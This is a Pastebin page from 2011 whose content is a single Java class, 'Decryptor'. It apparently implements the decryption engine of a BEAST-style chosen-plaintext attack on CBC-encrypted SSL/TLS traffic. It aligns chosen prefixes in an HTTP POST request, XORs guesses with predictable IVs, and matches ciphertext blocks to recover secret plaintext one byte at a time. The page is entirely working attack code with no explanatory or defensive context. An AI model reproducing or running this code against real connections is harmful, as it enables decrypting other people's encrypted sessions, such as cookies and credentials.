Guest User

Decryptor.java

a guest
Sep 23rd, 2011
995
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package peast;
  2.  
  3. import java.util.Arrays;
  4.  
  5. //"POST /"(6) + prefix + " HTTP/1.1\r\n"(11)
  6. public class Decryptor {
  7.     private String plaintext = "";
  8.     private String prefixRight = "";
  9.     private static final String prefixLeft = "POST /";
  10.     private byte[] ciphertext;
  11.     private int blockSize;
  12.     private byte[] target;
  13.     private byte[] targetIV;
  14.     private byte attemptLastByte = 0x20;
  15.     private byte[] nextAttempt;
  16.  
  17.     public Decryptor() {
  18.  
  19.     }
  20.  
  21.     public void setCiphertext(byte[] ciphertext) {
  22.         // TODO get blocksize from packets
  23.         blockSize = 16;
  24.         assert (ciphertext.length % blockSize == 0);
  25.         this.ciphertext = ciphertext;
  26.         target = new byte[blockSize];
  27.         targetIV = new byte[blockSize];
  28.         setTargetBlock();
  29.     }
  30.  
  31.     public byte[] getChosenPrefix() {
  32.         // total length mod blockSize = blockSize - 1
  33.         int bs = blockSize == 0 ? 16 : blockSize;
  34.         int prefixLength = bs
  35.                 - ((prefixLeft.length() + prefixRight.length() + 1) % bs);
  36.         final byte[] prefix = new byte[prefixLength];
  37.         Arrays.fill(prefix, (byte) 0x41);
  38.  
  39.         return prefix;
  40.     }
  41.  
  42.     private byte[] getNextAttemptBlock() {
  43.         byte[] nextAttempt = new byte[blockSize];
  44.         String tmp = prefixLeft + new String(getChosenPrefix()) + prefixRight;
  45.         System.out.println("tmp: " + tmp);
  46.         System.arraycopy(tmp.getBytes(), tmp.length() - (blockSize - 1),
  47.                 nextAttempt, 0, blockSize - 1);
  48.         nextAttempt[blockSize - 1] = attemptLastByte;
  49.         System.out
  50.                 .println("Next attempt plaintext: " + new String(nextAttempt));
  51.         return nextAttempt;
  52.     }
  53.  
  54.     public byte[] getChosenPlaintext(byte[] lastPacket) {
  55.  
  56.         byte[] iv = Arrays.copyOfRange(lastPacket, lastPacket.length
  57.                 - blockSize, lastPacket.length);
  58.         byte[] cp = new byte[blockSize];
  59.  
  60.         nextAttempt = getNextAttemptBlock();
  61.         assert (attemptLastByte < 128);
  62.  
  63.         for (int idx = 0; idx < blockSize; idx++) {
  64.             cp[idx] = (byte) (nextAttempt[idx] ^ targetIV[idx] ^ iv[idx]);
  65.         }
  66.  
  67.         attemptLastByte += 1;
  68.         return cp;
  69.     }
  70.  
  71.     public boolean matches(byte[] cipher) {
  72.         byte[] m = new byte[blockSize];
  73.         System.arraycopy(cipher, 0, m, 0, blockSize);
  74.         if (Arrays.equals(m, target)) {
  75.             String found = new String(nextAttempt);
  76.             System.out.println("match!: " + found);
  77.             char ch = found.charAt(found.length() - 1);
  78.             plaintext = plaintext + ch;
  79.             prefixRight += ch;
  80.             attemptLastByte = 0x20;
  81.             setTargetBlock();
  82.             return true;
  83.         }
  84.         return false;
  85.     }
  86.  
  87.     private void setTargetBlock() {
  88.         // which ciphertext block are we trying to guess next?
  89.         int index = (prefixLeft.length() + getChosenPrefix().length + prefixRight
  90.                 .length()) / blockSize;
  91.         System.arraycopy(ciphertext, index * blockSize, target, 0, blockSize);
  92.         System.arraycopy(ciphertext, (index - 1) * blockSize, targetIV, 0,
  93.                 blockSize);
  94.     }
  95.  
  96.     public void setPrefixRight(String prefix) {
  97.         prefixRight = prefix;
  98.     }
  99.  
  100.     public String getPrefixRight() {
  101.         return prefixRight;
  102.     }
  103.  
  104.     public String getPlaintext() {
  105.         return plaintext;
  106.     }
  107. }
RAW Paste Data